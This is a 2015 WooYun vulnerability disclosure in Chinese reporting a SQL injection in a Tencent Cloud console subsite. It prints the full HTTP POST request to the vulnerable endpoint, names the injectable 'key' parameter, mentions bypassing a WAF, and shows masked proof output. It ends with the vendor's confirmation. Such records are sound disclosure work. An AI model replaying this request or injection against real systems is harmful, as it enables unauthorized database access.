当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-093181

漏洞标题：腾讯云某分站存在SQL注射之二

相关厂商：腾讯

漏洞作者： 猪猪侠

提交时间：2015-01-21 18:15

修复时间：2015-03-07 18:16

公开时间：2015-03-07 18:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-21： 细节已通知厂商并且等待厂商处理中
2015-01-22： 厂商已经确认，细节仅向厂商公开
2015-02-01： 细节向核心白帽子及相关领域专家公开
2015-02-11： 细节向普通白帽子公开
2015-02-21： 细节向实习白帽子公开
2015-03-07： 细节向公众公开

简要描述：

腾讯云某分站存在SQL注射2，有waf，可以绕，神器有时候是万能的

详细说明：

http://cloud.qq.com
http://www.qcloud.com
腾讯云的管理控制台有两个版本，一个是新的console.qcloud.com，一个旧的manage.qcloud.com
存在漏洞的接口也是一个新的，一个旧的，接口不一样，参数不一样
旧的注入在这里： WooYun: 腾讯云某分站存在SQL注射
新的如下：

POST /detail/request.ajax.php HTTP/1.1
Host: cm.qcloud.com
Proxy-Connection: keep-alive
Content-Length: 126
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://cm.qcloud.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://cm.qcloud.com/detail/detail.php?type=cvm&appId=1251335462&MetricStatics=Device.eth1OutTraffic&val=10.251.81.21
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: 
Connection: Keep-Alive
appId=1251335462&type=cvm&key=ipName&val=10.251.81.21&metricName=traffic__MetricStatics__Device.eth1OutTraffic&g_tk=1387739444


注入参数:key=ipName

漏洞证明：

database()
CdbDat*****

修复方案：

严格过滤

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-01-22 11:42

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

最新状态：

暂无